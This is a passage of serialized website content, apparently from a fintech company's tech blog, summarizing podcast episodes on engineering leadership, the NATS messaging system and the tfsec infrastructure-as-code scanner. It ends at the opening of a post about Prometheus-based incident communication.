performance.",[],{"type":25,"text":40416,"spans":40417},"How do you phrase high performance? Evelina thinks of it as:",[],{"type":25,"text":40419,"spans":40420},"High performance = Workplace satisfaction * Intrinsic motivation",[40421],{"start":398,"end":4083,"type":593},{"type":25,"text":40423,"spans":40424},"As technology leaders, we can focus on providing the two factors to this equation:",[],{"type":1151,"text":40426,"spans":40427},"Workplace satisfaction through meaningful work, psychological safety, good feedback, recognition and reward etc.",[],{"type":1151,"text":40429,"spans":40430},"Intrinsic motivation through coaching other people to increase their own motivation",[],{"type":25,"text":40432,"spans":40433},"Evelina thinks we lack good metrics for measuring the motivation and satisfaction in the technology industry. We often think of happiness as a soft metrics, when in fact happiness at work is directly translatable to revenue because software is written by humans - happy people are motivated to deliver good products that others love!",[],{"type":25,"text":40435,"spans":40436},"The SPACE framework recommends measuring invisible work as well. Aside from activity metrics, we need to look at communication and collaboration, as well as satisfaction and well-being. We need to learn to communicate timely, accurately and succinctly. This is not an art, it's a science. Very few technology companies invest in communication training, which is especially important for fully remote companies.",[40437],{"start":4603,"end":1355,"type":489,"data":40438},{"link_type":491,"url":40407},"rich_text$ddcb17fd-bbf7-4544-8fdf-d1e68d672c52",{"variation":437,"version":438,"items":40441,"primary":40442,"id":40467,"slice_type":468,"slice_label":5},[],{"body":40443},[40444,40447,40452,40455,40458,40461],{"type":746,"text":40445,"spans":40446},"Technical debt",[],{"type":25,"text":40448,"spans":40449},"Evelina thinks referring to technical debt by this term diminishes our understanding of it. Technical debt is in fact scale work and risk work. Prioritising technical debt is a Goldilocks problem: doing it too early limits our opportunity to do work and gain the market, while doing it too late will degrade performance, again leading to a loss of market share. We need to find the just right moment. It has at least three steps:",[40450],{"start":3640,"end":40451,"type":765},399,{"type":1151,"text":40453,"spans":40454},"Identify the use-case",[],{"type":1151,"text":40456,"spans":40457},"Identify the right outcomes and compare them to other work",[],{"type":1151,"text":40459,"spans":40460},"Set some reasonable thresholds",[],{"type":25,"text":40462,"spans":40463},"Evelina has written an interesting 2-part series on \"Data-driven negotiation with SLIs, SLOs and Error Budgets\", which you can read on her blog.",[40464],{"start":1251,"end":3971,"type":489,"data":40465},{"link_type":491,"url":40466},"https:\u002F\u002Fmedium.com\u002Fjump-start\u002Fdata-driven-negotiation-with-slis-slos-and-error-budgets-1-2-8b23603b570e","rich_text$0ca4d695-f0be-4bcc-9dc1-e8258d8f36a1",{"variation":437,"version":438,"items":40469,"primary":40470,"id":40492,"slice_type":468,"slice_label":5},[],{"body":40471},[40472,40474,40477,40480,40483,40486,40489],{"type":746,"text":29076,"spans":40473},[],{"type":25,"text":40475,"spans":40476},"Evelina ends with five highlights for engineering leaders:",[],{"type":1151,"text":40478,"spans":40479},"Expand your knowledge and understanding outside technology",[],{"type":1151,"text":40481,"spans":40482},"Understand where the technology function sits within a company, and how it relates to other functions",[],{"type":1151,"text":40484,"spans":40485},"Combine the different types of engineering success to build a high performing organisation",[],{"type":1151,"text":40487,"spans":40488},"Find the right use-cases, outcomes and metrics, but use them only as a to tell us the trend and the direction we are moving",[],{"type":1151,"text":40490,"spans":40491},"There are two sides of high performance, activity side and the people side",[],"rich_text$16054ef4-370f-4754-a97d-a64c3eb3b977",{"id":40494,"uid":40495,"type":25949,"data":40496},"alz0shEAACwAUWZR","podcast-whats-new-nats",{"title":40497,"excerpt":40498,"card_image":40499,"published_date":40504,"reading_time":4603,"tag":25960,"dek":40498,"featured_image":40505,"about_form3":40510,"client_about_heading":5,"client_about_body":40511,"author_name":18970,"author_title":18971,"author_photo":40512,"author_bio":40515,"author_linkedin":40518,"slices":40520,"meta_title":40497,"meta_description":40498},".tech Podcast - What's new in NATS?","Byron is the Director of Developer Relations at Synadia. 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Then, he covers the fundamentals of NATS and gives us a peek into upcoming features, which include the new Synadia Control Plane project.",{"dimensions":40500,"alt":40497,"copyright":5,"url":40501,"id":40502,"edit":40503},{"width":412,"height":412},"\u002F_prismic-media\u002Ff7418c54f800ef56-KPSsSuf7L5skKcwE_podcast-whats-new-nats.png","KPSsSuf7L5skKcwE",{"x":398,"y":398,"zoom":399,"background":400},"2023-06-14",{"dimensions":40506,"alt":5,"copyright":5,"url":40507,"id":40508,"edit":40509},{"width":501,"height":646},"\u002F_prismic-media\u002F2c1d49d08c4a1840-L4o1aRpqEAWK5OVb_3a01534e-924e-484d-bab8-62524b5.jpg","L4o1aRpqEAWK5OVb",{"x":398,"y":398,"zoom":399,"background":650},[],[],{"dimensions":40513,"alt":18970,"copyright":5,"url":25966,"id":25967,"edit":40514},{"width":5080,"height":5081},{"x":398,"y":398,"zoom":399,"background":650},[40516],{"type":25,"text":25971,"spans":40517},[],{"link_type":491,"key":40519,"url":25975,"target":493},"1a70b08c-7fcc-4f58-8466-d86778069cea",[40521,40541,40558,40582,40624,40678],{"variation":437,"version":527,"items":40522,"primary":40523,"id":40540,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":40524,"body":40528,"cta_label":10704,"cta_link":40531,"aside_type":5,"aside_image":40534,"aside_video":40535,"aside_video_poster":40536,"aside_video_reduced_motion":40537,"aside_video_url":5,"aside_embed":40538,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":40539,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[40525],{"type":746,"text":40526,"spans":40527},"Ep 44 .tech - What's new in NATS?",[],[40529],{"type":25,"text":10702,"spans":40530},[],{"link_type":491,"key":40532,"url":40533},"3e894b8d-fa61-4c6a-9d5a-b0840d6d5d32","https:\u002F\u002Ftechpodcast.form3.tech\u002Fepisodes\u002Fep-44-tech-whats-new-in-nats-RT6Vthx4",{},{"link_type":536},{},{},{},{"link_type":542},"content_block$3c6f95b5-57d8-4468-9f15-e6ec6041613f",{"variation":437,"version":438,"items":40542,"primary":40543,"id":40557,"slice_type":468,"slice_label":5},[],{"body":40544},[40545],{"type":25,"text":40546,"spans":40547},"Byron Ruth is Director of Developer Relations at Synadia, who are the maintainers of NATS.io. Byron is a long time NATS user and has a background in health tech. He has extensive experience developing data pipelines, integrating data, ETL and building applications. As he got more and more involved with the NATS community, the opportunity to join the team and advocate for the technology he really believed in was a no-brainer.",[40548,40551,40554],{"start":398,"end":905,"type":489,"data":40549},{"link_type":491,"url":40550,"target":493},"https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fbyron-ruth\u002F",{"start":2868,"end":4889,"type":489,"data":40552},{"link_type":491,"url":40553,"target":493},"https:\u002F\u002Fwww.linkedin.com\u002Fcompany\u002Fsynadia-communications\u002F",{"start":11954,"end":12970,"type":489,"data":40555},{"link_type":491,"url":40556,"target":493},"https:\u002F\u002Fnats.io\u002F","rich_text$8dcc8e43-0b27-47e3-af1e-47f5e3c99293",{"variation":437,"version":438,"items":40559,"primary":40560,"id":40581,"slice_type":468,"slice_label":5},[],{"body":40561},[40562,40565,40570,40573,40577],{"type":746,"text":40563,"spans":40564},"Introduction to event-driven architectures",[],{"type":25,"text":40566,"spans":40567},"Byron explains that event-driven architectures are all about the inversion of how information flows through a system. When you think of point to point interactions, you will typically think of a call stack. The second you introduce a network and multiple services, you need to concern yourself with decoupling space and time through asynchrony.",[40568,40569],{"start":9237,"end":19148,"type":765},{"start":31002,"end":13604,"type":765},{"type":25,"text":40571,"spans":40572},"One example is a simple CRUD application, which has an API and creates or updates a record in the database. Even if this system does not record an event, something happened which mutated the state of your data. At this point, you don't have any historical reference or values of the state of the data. In an event-driven approach, you can still update state in place, but you record an event out of band. Then the processing service responsible for actioning the work can pick up the event, and perform the work when it's got the availability to do it.",[],{"type":25,"text":40574,"spans":40575},"The happy path happens immediately, within milliseconds, but the introduction of event-driven architectures allows us to decouple complex systems. Fundamentally, the inversion of how information flows through the system means that we don't broadcast information out synchronously and avoid failure domains. Event-driven architectures don't necessarily have to have higher latencies. There are some roundtrip times that must take place over TCP connections, but the removal of dependencies between components amortises the cost over time. The latencies can even be less perceivable by the user.",[40576],{"start":4603,"end":2987,"type":765},{"type":25,"text":40578,"spans":40579},"Request-Reply interactions are what everyone associates with the web and they must happen immediately to ensure a good user experience. Everything behind the scenes can be asynchronous and event-driven, but design decisions must be made according to the expectations of your system. A purely synchronous call stack will lead to a more fragile system that will require layers of backoffs and retries. Inverting the information flow through event-driven architectures will lead to much higher flexibility.",[40580],{"start":398,"end":1951,"type":765},"rich_text$6f2526f3-04fb-4b07-bb05-6343e39fb6c7",{"variation":437,"version":438,"items":40583,"primary":40584,"id":40623,"slice_type":468,"slice_label":5},[],{"body":40585},[40586,40589,40595,40598,40602,40607,40612,40616],{"type":746,"text":40587,"spans":40588},"Common communication patterns",[],{"type":25,"text":40590,"spans":40591},"Byron references the book \"Enterprise Integration Patterns\" by Gregor Hohpe and Bobby Woolf, which was published 20 years ago. In this book, Gregor explains that when you design a system there are typically two components that need to talk to one another. All the work typically focuses on the components, but all the design decisions are actually in the communication between those components.",[40592],{"start":5574,"end":1408,"type":489,"data":40593},{"link_type":491,"url":40594,"target":493},"https:\u002F\u002Fwww.enterpriseintegrationpatterns.com\u002F",{"type":25,"text":40596,"spans":40597},"Byron mentions a few communication patterns:",[],{"type":1151,"text":40599,"spans":40600},"Request-Reply defines an expected recipient of a message and the sender expects a reply back. Behind the scenes, especially with HTTP-based systems, a load balancer will distribute work in order to service that request.",[40601],{"start":398,"end":1951,"type":765},{"type":1151,"text":40603,"spans":40604},"One to Many or Fan Out broadcasts a single message to many subscribers. You will typically need a message broker that can handle the publish-subscribe semantics.",[40605,40606],{"start":398,"end":602,"type":765},{"start":8472,"end":7635,"type":765},{"type":1151,"text":40608,"spans":40609},"Similarly, the Many to One or Fan In approach defines one single consumer of a plethora of different types of events from different publishers.",[40610,40611],{"start":8472,"end":5574,"type":765},{"start":3041,"end":3852,"type":765},{"type":1151,"text":40613,"spans":40614},"A Queue Group style of communication defines a single requestor which then sees the work distributed to multiple members of the group.",[40615],{"start":506,"end":1951,"type":765},{"type":25,"text":40617,"spans":40618},"Many people will be familiar with Amazon SQS and Amazon SNS as event-driven technologies.",[40619,40621],{"start":1131,"end":2674,"type":489,"data":40620},{"link_type":491,"url":38706,"target":493},{"start":2868,"end":592,"type":489,"data":40622},{"link_type":491,"url":38709,"target":493},"rich_text$ea48cf34-0955-4b88-a9a7-9d970a8eccf1",{"variation":437,"version":438,"items":40625,"primary":40626,"id":40677,"slice_type":468,"slice_label":5},[],{"body":40627},[40628,40631,40634,40647,40651,40656,40669],{"type":746,"text":40629,"spans":40630},"Introduction to NATS",[],{"type":25,"text":40632,"spans":40633},"Byron tells us that NATS is a high performance, open-source technology, enabling global connectivity of services and data, spanning from cloud to edge. He will unpack every single component of this one-line definition for us.",[],{"type":25,"text":40635,"spans":40636},"NATS was originally designed in 2011 by Derek Collison, who is also the founder of Synadia. It was designed as a low latency, high performance messaging broker to power Cloud Foundry. There was no message persistence, so it was Fire and Forget communication.",[40637,40640,40643,40646],{"start":398,"end":4603,"type":489,"data":40638},{"link_type":491,"url":40639,"target":493},"https:\u002F\u002Fdocs.nats.io\u002Fnats-concepts\u002Foverview",{"start":10399,"end":3963,"type":489,"data":40641},{"link_type":491,"url":40642,"target":493},"https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fderekcollison\u002F",{"start":28611,"end":5497,"type":489,"data":40644},{"link_type":491,"url":40645,"target":493},"https:\u002F\u002Fwww.synadia.com\u002Fabout",{"start":25009,"end":6415,"type":765},{"type":25,"text":40648,"spans":40649},"One of the key design decisions of NATS was the notion of Subject Based Addressing which makes it possible to connect components without needing to know the addresses of the other components in the system. In NATS, you address a message by a subject. Subscribers can then subscribe to subjects, which also offer wild card support. Conceptually, you get a location transparent system, without needing to pre-create them ahead of time.",[40650],{"start":9203,"end":1406,"type":765},{"type":25,"text":40652,"spans":40653},"NATS is a single 16MB Go binary with no other external dependencies. This makes it possible to embed it in other programs or deploy a supercluster spanning the entire globe. Leaf nodes run the same binary, but in a mode that is suitable to edge locations that might be disconnected often. Examples of these kinds of use cases are oil rigs, low orbit satellites, automobiles, etc. NATS creates a hub and spoke model that allows you to extend to the edge.",[40654,40655],{"start":10918,"end":37566,"type":765},{"start":19216,"end":38952,"type":765},{"type":25,"text":40657,"spans":40658},"Persistence was added using the JetStream project. It is part of the same binary as NATS and allows you to create streams and consumers. Streams bind one or more subjects together and their responsibility is to persist their messages, ensuring that the messages are no longer dropped if no consumer is available. Consumers are fundamentally a view of the messages in a stream. They allow you to perform server side filtering of messages, ensuring that you only spend time delivering the messages that are relevant to the subscribing service. Key-Value abstractions and Object-Store abstractions are also built on top of stream primitives.",[40659,40661,40664,40665,40668],{"start":5489,"end":2868,"type":489,"data":40660},{"link_type":491,"url":38744,"target":493},{"start":6836,"end":19436,"type":489,"data":40662},{"link_type":491,"url":40663,"target":493},"https:\u002F\u002Fdocs.nats.io\u002Fnats-concepts\u002Fjetstream\u002Fstreams",{"start":6836,"end":19436,"type":765},{"start":19498,"end":19450,"type":489,"data":40666},{"link_type":491,"url":40667,"target":493},"https:\u002F\u002Fdocs.nats.io\u002Fnats-concepts\u002Fjetstream\u002Fconsumers",{"start":19498,"end":19450,"type":765},{"type":25,"text":40670,"spans":40671},"A stream has two internal implementations for persistence: file store and in-memory store. When you create a stream, it provides a variety of configuration options for retention policy and replication factor. You can specify the number of replicas for your data and NATS will implement the RAFT protocol. This is a purpose built implementation that relies on the NATS messaging core. The RAFT protocol provides guarantees for outage toleration without message loss. The RAFT protocol only requires a quorum of replicas in order to successfully write data whenever possible. Topology design suggestions for NATS are typically a cluster with servers spread across availability zones within a region. You can deploy the cluster across multiple regions if you want to tolerate an entire region going offline.",[40672,40673,40675],{"start":10863,"end":10671,"type":765},{"start":1986,"end":19200,"type":489,"data":40674},{"link_type":491,"url":38760,"target":493},{"start":40676,"end":29798,"type":765},500,"rich_text$d34700b5-45b4-4010-885a-0f578aacd7d2",{"variation":437,"version":438,"items":40679,"primary":40680,"id":40741,"slice_type":468,"slice_label":5},[],{"body":40681},[40682,40685,40691,40695,40699,40705,40714,40717,40723,40729,40735],{"type":746,"text":40683,"spans":40684},"New features",[],{"type":25,"text":40686,"spans":40687},"Byron shares some upcoming NATS features in the 2.10 release:",[40688],{"start":5490,"end":685,"type":489,"data":40689},{"link_type":491,"url":40690,"target":493},"https:\u002F\u002Fgithub.com\u002Fnats-io\u002Fnats-server\u002Freleases",{"type":1151,"text":40692,"spans":40693},"The newly built auth callout allows to hook into custom identity providers alongside the NATS decentralised authorisation model. The response from the auth callout dynamically generates JWT tokens from the company specific identity providers.",[40694],{"start":2477,"end":9704,"type":765},{"type":1151,"text":40696,"spans":40697},"A V2 networking or routing is a performance improvement. It will make it possible to route traffic through a small number of TCP connections by allowing services to be pinned to specific TCP connections.",[40698],{"start":506,"end":5574,"type":765},{"type":25,"text":40700,"spans":40701},"The Synadia Control Plane was recently announced GA. It provides an easy way to get started with NATS through a unified control plane with a single UI that is easy to manage. It includes system wide observability of servers as well as client connections, as well as best practice alerting.",[40702],{"start":4603,"end":1066,"type":489,"data":40703},{"link_type":491,"url":40704,"target":493},"https:\u002F\u002Fwww.synadia.com\u002Fblog\u002Fannouncing-the-general-availability-of-synadia-control-plane",{"type":25,"text":40706,"spans":40707},"NATS is open-source and you can see how to get involved on the contributor guide. Byron got started with NATS this way himself. The NATS community is very active on Slack as well, where you can get any questions answered.",[40708,40711],{"start":629,"end":3872,"type":489,"data":40709},{"link_type":491,"url":40710,"target":493},"https:\u002F\u002Fnats.io\u002Fcontributing\u002F",{"start":4589,"end":19001,"type":489,"data":40712},{"link_type":491,"url":40713,"target":493},"https:\u002F\u002Fslack.nats.io\u002F",{"type":25,"text":40715,"spans":40716},"Here are some further resources from Byron where you can learn more about NATS:",[],{"type":1151,"text":40718,"spans":40719},"NATS by Example",[40720],{"start":398,"end":8472,"type":489,"data":40721},{"link_type":491,"url":40722,"target":493},"https:\u002F\u002Fnatsbyexample.com\u002F",{"type":1151,"text":40724,"spans":40725},"NATS newsletter",[40726],{"start":398,"end":8472,"type":489,"data":40727},{"link_type":491,"url":40728,"target":493},"https:\u002F\u002Fsynadia.com\u002Fnewsletter",{"type":1151,"text":40730,"spans":40731},"Synadia screencast",[40732],{"start":398,"end":2769,"type":489,"data":40733},{"link_type":491,"url":40734,"target":493},"https:\u002F\u002Fwww.synadia.com\u002Fscreencast",{"type":1151,"text":40736,"spans":40737},"Synadia Developer Education questionnaire",[40738],{"start":398,"end":1977,"type":489,"data":40739},{"link_type":491,"url":40740,"target":493},"https:\u002F\u002Fforms.gle\u002FyhCq4WDfSp4KULEF9","rich_text$aaf190fa-537c-4cce-ba89-52532074d855",{"id":40743,"uid":40744,"type":25949,"data":40745},"alz1JBEAAC4AUWgV","security-scanning-using-tfsec",{"title":40746,"excerpt":40747,"card_image":40748,"published_date":40753,"reading_time":643,"tag":25960,"dek":40747,"featured_image":40754,"about_form3":40759,"client_about_heading":5,"client_about_body":40760,"author_name":18970,"author_title":18971,"author_photo":40761,"author_bio":40764,"author_linkedin":40767,"slices":40769,"meta_title":40746,"meta_description":40747},".tech Podcast - Security scanning using tfsec","Liam and Owen from Aqua Security join us to share their work on the open source static analysis tool, tfsec. They give us an introduction to infrastructure as code with terraform, then explain what are the common problems they are trying to solve with tfsec. Finally, they tell us all about getting started with tfsec and getting involved with the project.",{"dimensions":40749,"alt":40746,"copyright":5,"url":40750,"id":40751,"edit":40752},{"width":412,"height":412},"\u002F_prismic-media\u002F85b9d7fa1d0a398c-UOObyIJiEEbi_om__security-scanning-using-tfsec.p","UOObyIJiEEbi_om_",{"x":398,"y":398,"zoom":399,"background":400},"2022-04-27",{"dimensions":40755,"alt":5,"copyright":5,"url":40756,"id":40757,"edit":40758},{"width":501,"height":32025},"\u002F_prismic-media\u002F74de2e16a2cf651d-GFC4G76z5x6FLB-u_e23a032b-f17d-4d1c-a315-19f3043.png","GFC4G76z5x6FLB-u",{"x":398,"y":398,"zoom":399,"background":400},[],[],{"dimensions":40762,"alt":18970,"copyright":5,"url":25966,"id":25967,"edit":40763},{"width":5080,"height":5081},{"x":398,"y":398,"zoom":399,"background":650},[40765],{"type":25,"text":25971,"spans":40766},[],{"link_type":491,"key":40768,"url":25975,"target":493},"964e87bc-2b9e-454b-be51-7d1963cf105a",[40770,40790,40810,40835,40858,40877,40900],{"variation":437,"version":527,"items":40771,"primary":40772,"id":40789,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":40773,"body":40777,"cta_label":10704,"cta_link":40780,"aside_type":5,"aside_image":40783,"aside_video":40784,"aside_video_poster":40785,"aside_video_reduced_motion":40786,"aside_video_url":5,"aside_embed":40787,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":40788,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[40774],{"type":746,"text":40775,"spans":40776},"Ep 30 .tech - Security scanning using tfsec",[],[40778],{"type":25,"text":10702,"spans":40779},[],{"link_type":491,"key":40781,"url":40782},"36f6fdd1-2763-47bd-885b-2c3f05fe36ce","https:\u002F\u002Ftechpodcast.form3.tech\u002Fepisodes\u002Fep-30-tech-security-scanning-using-tfsec-0F1S0q6r",{},{"link_type":536},{},{},{},{"link_type":542},"content_block$670c0e87-b06a-4481-97b4-f1afc44555b7",{"variation":437,"version":438,"items":40791,"primary":40792,"id":40809,"slice_type":468,"slice_label":5},[],{"body":40793},[40794],{"type":25,"text":40795,"spans":40796}," Liam Galvin and Owen Rumney are open source developers at Aqua Security. They focus on image and infrastructure security scanning. Both actively working on tfsec, which is the tool we will be focusing on today.",[40797,40800,40803,40806],{"start":399,"end":2707,"type":489,"data":40798},{"link_type":491,"url":40799,"target":493},"https:\u002F\u002Fwww.linkedin.com\u002Fin\u002F%E0%B2%A0%EF%BC%BF%E0%B2%A0\u002F",{"start":6911,"end":9704,"type":489,"data":40801},{"link_type":491,"url":40802,"target":493},"https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fowenrumney\u002F",{"start":592,"end":1797,"type":489,"data":40804},{"link_type":491,"url":40805,"target":493},"https:\u002F\u002Fwww.linkedin.com\u002Fcompany\u002Faquasecteam\u002F",{"start":10310,"end":20555,"type":489,"data":40807},{"link_type":491,"url":40808,"target":493},"https:\u002F\u002Fgithub.com\u002Faquasecurity\u002Ftfsec","rich_text$17881aa0-7f5a-4672-8881-fe1105644fe9",{"variation":437,"version":438,"items":40811,"primary":40812,"id":40834,"slice_type":468,"slice_label":5},[],{"body":40813},[40814,40816,40820,40831],{"type":746,"text":34210,"spans":40815},[],{"type":25,"text":40817,"spans":40818},"The opposite of infrastructure as code is setting up and maintaining your infrastructure in the cloud console. You will very quickly forget what and how you set up your resources. This is sometimes known as ClickOps.",[40819],{"start":10671,"end":3310,"type":765},{"type":25,"text":40821,"spans":40822},"On the other side, IaC uses tools like AWS CloudFormation, terraform or Pulumi to give you declarative code which you can execute idempotently. It gives a consistent, repeatable way of defining infrastructure. Checking in the code into source control also allows you to review and scale the working of the infrastructure across multiple teams.",[40823,40826,40828],{"start":4219,"end":3639,"type":489,"data":40824},{"link_type":491,"url":40825,"target":493},"https:\u002F\u002Faws.amazon.com\u002Fcloudformation\u002F",{"start":592,"end":9232,"type":489,"data":40827},{"link_type":491,"url":36734,"target":493},{"start":1797,"end":9216,"type":489,"data":40829},{"link_type":491,"url":40830,"target":493},"https:\u002F\u002Fwww.pulumi.com\u002F",{"type":25,"text":40832,"spans":40833},"Managing large infrastructures in the console is almost and impossible task, so IaC is the generally preferred solution.",[],"rich_text$b6783834-6b71-47d1-96a7-2d70f66efc76",{"variation":437,"version":438,"items":40836,"primary":40837,"id":40857,"slice_type":468,"slice_label":5},[],{"body":40838},[40839,40842,40848,40854],{"type":746,"text":40840,"spans":40841},"Terraform as an IaC tool",[],{"type":25,"text":40843,"spans":40844},"Terraform is a human readable and machine readable language. It is simple and it lets you define all kinds of resources. For example, with a few lines of code you can define an S3 bucket. However, these resources need to be configured correctly, which can be quite a complicated task.",[40845],{"start":9290,"end":13599,"type":489,"data":40846},{"link_type":491,"url":40847,"target":493},"https:\u002F\u002Fregistry.terraform.io\u002Fproviders\u002Fhashicorp\u002Faws\u002Flatest\u002Fdocs\u002Fresources\u002Fs3_bucket#private-bucket-w-tags",{"type":25,"text":40849,"spans":40850},"Third party Terraform modules allow us to package up definitions of everything from a simple resource to an entire systems. Using industry standard modules are a great way to ensure that your resources are secure as well.",[40851],{"start":2707,"end":871,"type":489,"data":40852},{"link_type":491,"url":40853,"target":493},"https:\u002F\u002Fwww.terraform.io\u002Fregistry\u002Fmodules\u002Fuse",{"type":25,"text":40855,"spans":40856},"Modules are also a great way to enable teams to do things in a standard way. For example, you could have the central platform team creating a bastion module, which other teams within the same organisation can leverage in their work.",[],"rich_text$5ddee78d-cdd9-44b0-a780-9acfb7d1b13e",{"variation":437,"version":438,"items":40859,"primary":40860,"id":40876,"slice_type":468,"slice_label":5},[],{"body":40861},[40862,40865,40871],{"type":746,"text":40863,"spans":40864},"Common problems with IaC",[],{"type":25,"text":40866,"spans":40867},"There are a lot of examples where misconfigurations have caused large issues, either compliance or financial issues. Using the example of the S3 bucket, we could set an ACL on the bucket for authenticated reads. We would assume that this means authenticated users in our own account would be able to read the bucket. However, once we read the docs, we'd realise that any user authenticated in any account would be able to read the bucket, which could be a potentially huge security issue.",[40868],{"start":13573,"end":28769,"type":489,"data":40869},{"link_type":491,"url":40870,"target":493},"https:\u002F\u002Fdocs.aws.amazon.com\u002FAmazonS3\u002Flatest\u002Fuserguide\u002Facl-overview.html",{"type":25,"text":40872,"spans":40873},"These kinds of issues happen often and is one of the reasons tfsec was created.",[40874],{"start":3407,"end":14740,"type":489,"data":40875},{"link_type":491,"url":40808,"target":493},"rich_text$9828822c-2dd8-49ac-9fff-189228080fa2",{"variation":437,"version":438,"items":40878,"primary":40879,"id":40899,"slice_type":468,"slice_label":5},[],{"body":40880},[40881,40884,40890,40893],{"type":746,"text":40882,"spans":40883},"What is tfsec?",[],{"type":25,"text":40885,"spans":40886},"tfsec is an open source static code analysis tool written in Go. Terraform itself is written in Go, so tfsec was able to use their parser to find patterns in configuration. tfsec works in a similar way to the Terraform CI tool as well, making it a reliable tool. tfsec tries to analyze code as close to the Terraform process as possible, analysing the output HCL code. This makes it easier to resolve the executed state of the code, as opposed to its snapshot state.",[40887],{"start":3407,"end":629,"type":489,"data":40888},{"link_type":491,"url":40889,"target":493},"https:\u002F\u002Fgo.dev\u002F",{"type":25,"text":40891,"spans":40892},"Other tools had to use regular expressions instead, which is more difficult to build. Regular expressions are suitable for easy pattern matching, but an unsustainable tool for more complicated rules.",[],{"type":25,"text":40894,"spans":40895},"tfsec also uses custom checks to identify the particular line that causes the misconfiguration. It can write comments on PRs to let you know what needs fixing. Initially, the functionality was built together with the parser. This has been refactored to analyze the intermediary state of resources, without being tied to provider specific functionality and making it suitable to a variety of providers.",[40896],{"start":2477,"end":871,"type":489,"data":40897},{"link_type":491,"url":40898,"target":493},"https:\u002F\u002Fgithub.com\u002Faquasecurity\u002Ftfsec#included-checks","rich_text$f6482d4d-98ac-4f39-9882-3debed57b1c5",{"variation":437,"version":438,"items":40901,"primary":40902,"id":40934,"slice_type":468,"slice_label":5},[],{"body":40903},[40904,40907,40913,40919,40928],{"type":746,"text":40905,"spans":40906},"Maintaining tfsec",[],{"type":25,"text":40908,"spans":40909},"Terraform has a lot of quickly changing providers. The great community around tfsec steps in and are able to help with making all the required changes. tfsec is frequently released and has a great turnover for bug fixing.",[40910],{"start":9289,"end":3774,"type":489,"data":40911},{"link_type":491,"url":40912,"target":493},"https:\u002F\u002Fgithub.com\u002Faquasecurity\u002Ftfsec\u002Freleases",{"type":25,"text":40914,"spans":40915},"If you are using tfsec, then you can use the standard checks, but also write your own custom checks that suit your needs. The team would be greatful if you could share any checks that might be useful to the rest of the community as well. Recently, tfsec also has support for Rego.",[40916],{"start":18851,"end":29390,"type":489,"data":40917},{"link_type":491,"url":40918,"target":493},"https:\u002F\u002Faquasecurity.github.io\u002Ftfsec\u002Fv1.18.0\u002Fguides\u002Frego\u002Frego\u002F",{"type":25,"text":40920,"spans":40921},"Read more about getting started and writing custom checks.",[40922,40925],{"start":2477,"end":690,"type":489,"data":40923},{"link_type":491,"url":40924},"https:\u002F\u002Faquasecurity.github.io\u002Ftfsec\u002Fv1.18.0\u002Fguides\u002Fquickstart\u002F",{"start":3852,"end":3639,"type":489,"data":40926},{"link_type":491,"url":40927,"target":493},"https:\u002F\u002Faquasecurity.github.io\u002Ftfsec\u002Fv1.18.0\u002Fguides\u002Fconfiguration\u002Fcustom-checks\u002F",{"type":25,"text":40929,"spans":40930},"tfsec integrates with Aqua Security Trivy which allows you to scan a wide variety of resources, not just terraform.",[40931],{"start":7635,"end":1977,"type":489,"data":40932},{"link_type":491,"url":40933,"target":493},"https:\u002F\u002Fgithub.com\u002Faquasecurity\u002Ftrivy","rich_text$89b4b07c-724e-4068-a629-3e67525e46f5",{"id":40936,"uid":40937,"type":25949,"data":40938},"alz0thEAAC4AUWZY","customers-incidents-prometheus",{"title":40939,"excerpt":40940,"card_image":40941,"published_date":40946,"reading_time":905,"tag":25960,"dek":40940,"featured_image":40947,"about_form3":40953,"client_about_heading":5,"client_about_body":40954,"author_name":40955,"author_title":40956,"author_photo":40957,"author_bio":40962,"author_linkedin":40966,"slices":40969,"meta_title":40939,"meta_description":40940},"Keeping Customers Informed During Incidents with Prometheus","Maintaining customer satisfaction during incidents is crucial for any business. In this blogpost, Piotr shares how we leverage Prometheus to expose business metrics in a secure and cost-effective way to keep customers informed and happy during those stressful situations.",{"dimensions":40942,"alt":40939,"copyright":5,"url":40943,"id":40944,"edit":40945},{"width":412,"height":412},"\u002F_prismic-media\u002F809eecd024b1b653-2S-xkmbGorib_XhJ_customers-incidents-prometheus.","2S-xkmbGorib_XhJ",{"x":398,"y":398,"zoom":399,"background":650},"2023-05-24",{"dimensions":40948,"alt":5,"copyright":5,"url":40950,"id":40951,"edit":40952},{"width":40949,"height":9774},2074,"\u002F_prismic-media\u002F68943a5e4c1202c9-632uFugrcb8BB-t1_d3635d02-6801-4190-93fc-7ca329e.svg","632uFugrcb8BB-t1",{"x":398,"y":398,"zoom":399,"background":650},[],[],"Piotr Olchawa","Lead | Data Services",{"dimensions":40958,"alt":40955,"copyright":5,"url":40959,"id":40960,"edit":40961},{"width":5080,"height":5081},"\u002F_prismic-media\u002F30903de7c81934a1-ZKj-rGtieuuOecDa_1bc04adb-d891-403e-8af3-ce77d25.jpg","ZKj-rGtieuuOecDa",{"x":398,"y":398,"zoom":399,"background":650},[40963],{"type":25,"text":40964,"spans":40965},"Piotr is an experienced technical leader, previously leading the FRAML (Fraud and anti-money laundering) team and now leading the engineering team responsible for implementing Data Mesh at Form3. With a focus on driving the data transformation of the organisation, Piotr is committed to creating a performant, self-serve data platform and bringing cutting-edge data management solutions to internal and external stakeholders.",[],{"link_type":491,"key":40967,"url":40968,"target":493},"87a2cb14-10fc-4bb0-aa1c-f7404766b28e","https:\u002F\u002Fpl.linkedin.com\u002Fin\u002Fpolchawa",[40970,40993,41021,41036,41061,41069,41092,41151,41170,41196,41204,41221,41229,41239,41285,41293,41301,41309,41318,41326,41334,41353,41368],{"variation":437,"version":438,"items":40971,"primary":40972,"id":40992,"slice_type":468,"slice_label":5},[],{"body":40973},[40974,40976,40979,40982,40985,40989],{"type":746,"text":12441,"spans":40975},[],{"type":25,"text":40977,"spans":40978},"In today's rapidly-evolving digital landscape, a strong online presence and seamless service delivery are crucial for businesses to keep their competitive edge. For industries such as payments, where interruptions in service can result in significant financial and reputational consequences, incident management is especially 